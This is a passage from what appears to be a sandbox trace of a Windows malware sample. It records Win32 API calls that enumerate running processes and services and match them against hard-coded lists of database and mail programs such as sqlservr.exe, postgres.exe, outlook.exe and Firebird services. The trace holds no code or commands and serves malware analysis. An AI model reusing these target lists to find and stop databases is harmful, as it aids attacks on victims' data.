(lpString1="sqlwriter", lpString2="nsi") returned 1 [0263.106] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0263.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0263.106] lstrlenW (lpString="PcaSvc") returned 6 [0263.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0263.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0263.107] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0263.107] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0263.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0263.107] lstrlenW (lpString="PlugPlay") returned 8 [0263.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0263.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0263.107] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0263.107] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0263.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0263.107] lstrlenW (lpString="Power") returned 5 [0263.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0263.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0263.107] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0263.107] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0263.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0263.107] lstrlenW (lpString="ProfSvc") returned 7 [0263.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0263.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0263.107] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0263.107] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0263.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0263.107] lstrlenW (lpString="RpcEptMapper") returned 12 [0263.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.107] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0263.107] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0263.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0263.107] lstrlenW (lpString="RpcSs") returned 5 [0263.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0263.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0263.107] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0263.107] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0263.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0263.108] lstrlenW (lpString="SamSs") returned 5 [0263.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0263.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0263.108] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0263.108] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0263.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0263.108] lstrlenW (lpString="Schedule") returned 8 [0263.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0263.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0263.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0263.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0263.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0263.108] lstrlenW (lpString="SENS") returned 4 [0263.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0263.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0263.108] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0263.108] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0263.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0263.108] lstrlenW (lpString="ShellHWDetection") returned 16 [0263.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.108] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0263.108] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0263.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0263.108] lstrlenW (lpString="Spooler") returned 7 [0263.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0263.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0263.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0263.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0263.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0263.108] lstrlenW (lpString="SysMain") returned 7 [0263.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0263.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0263.108] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0263.108] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0263.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0263.109] lstrlenW (lpString="Themes") returned 6 [0263.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0263.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0263.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0263.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0263.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0263.109] lstrlenW (lpString="TrkWks") returned 6 [0263.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0263.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0263.109] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0263.109] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0263.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0263.109] lstrlenW (lpString="UxSms") returned 5 [0263.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0263.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0263.109] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0263.109] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0263.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0263.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57af28 | out: hHeap=0x530000) returned 1 [0263.109] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0263.111] Process32FirstW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.111] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.111] lstrlenW (lpString="System") returned 6 [0263.111] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0263.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0263.111] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0263.111] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0263.111] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0263.111] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0263.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0263.111] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.112] lstrlenW (lpString="smss.exe") returned 8 [0263.112] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0263.112] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0263.112] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0263.112] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0263.112] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0263.112] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0263.112] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0263.112] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.112] lstrlenW (lpString="csrss.exe") returned 9 [0263.112] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0263.112] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0263.112] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0263.112] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0263.112] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0263.112] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0263.112] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0263.112] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.113] lstrlenW (lpString="wininit.exe") returned 11 [0263.113] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0263.113] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0263.113] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0263.113] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0263.113] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0263.113] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0263.113] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0263.113] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.113] lstrlenW (lpString="csrss.exe") returned 9 [0263.113] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0263.113] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0263.113] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0263.113] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0263.113] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0263.113] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0263.113] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0263.113] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.114] lstrlenW (lpString="winlogon.exe") returned 12 [0263.114] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0263.114] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0263.114] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0263.114] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0263.114] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0263.114] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0263.114] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0263.114] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.114] lstrlenW (lpString="services.exe") returned 12 [0263.114] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0263.114] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0263.114] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0263.114] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0263.114] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0263.114] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0263.114] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0263.114] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.115] lstrlenW (lpString="lsass.exe") returned 9 [0263.115] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0263.115] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0263.115] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0263.115] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0263.115] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0263.115] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0263.115] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0263.115] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0263.115] lstrlenW (lpString="lsm.exe") returned 7 [0263.115] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0263.115] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0263.115] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0263.115] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0263.115] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0263.115] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0263.115] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0263.115] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.116] lstrlenW (lpString="svchost.exe") returned 11 [0263.116] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.116] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.116] lstrlenW (lpString="svchost.exe") returned 11 [0263.116] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.116] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.116] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.117] lstrlenW (lpString="svchost.exe") returned 11 [0263.117] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0263.117] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0263.117] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0263.117] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0263.117] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0263.117] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0263.117] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0263.117] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.117] lstrlenW (lpString="svchost.exe") returned 11 [0263.117] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.118] lstrlenW (lpString="svchost.exe") returned 11 [0263.118] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.118] lstrlenW (lpString="audiodg.exe") returned 11 [0263.118] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.118] lstrlenW (lpString="svchost.exe") returned 11 [0263.118] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.119] lstrlenW (lpString="svchost.exe") returned 11 [0263.119] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0263.119] lstrlenW (lpString="userinit.exe") returned 12 [0263.119] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.119] lstrlenW (lpString="dwm.exe") returned 7 [0263.119] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.120] lstrlenW (lpString="explorer.exe") returned 12 [0263.120] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.120] lstrlenW (lpString="spoolsv.exe") returned 11 [0263.120] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0263.120] lstrlenW (lpString="taskhost.exe") returned 12 [0263.120] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.120] lstrlenW (lpString="svchost.exe") returned 11 [0263.120] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0263.121] lstrlenW (lpString="uyuquk.exe") returned 10 [0263.121] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0263.121] lstrlenW (lpString="reader_sl.exe") returned 13 [0263.121] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0263.121] CloseHandle (hObject=0x388) returned 1 [0263.121] Sleep (dwMilliseconds=0x1f4) [0263.838] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6147c0 [0263.866] EnumServicesStatusExW (in: hSCManager=0x6147c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0263.867] GetLastError () returned 0xea [0263.867] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x57af28 [0263.867] EnumServicesStatusExW (in: hSCManager=0x6147c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x57af28, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x57af28, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0263.867] CloseServiceHandle (hSCObject=0x6147c0) returned 1 [0263.867] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0263.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.867] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0263.867] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0263.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0263.867] lstrlenW (lpString="AudioSrv") returned 8 [0263.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0263.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0263.867] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0263.867] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0263.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0263.867] lstrlenW (lpString="BFE") returned 3 [0263.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0263.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0263.867] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0263.867] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0263.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0263.868] lstrlenW (lpString="CryptSvc") returned 8 [0263.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0263.868] lstrcmpiW 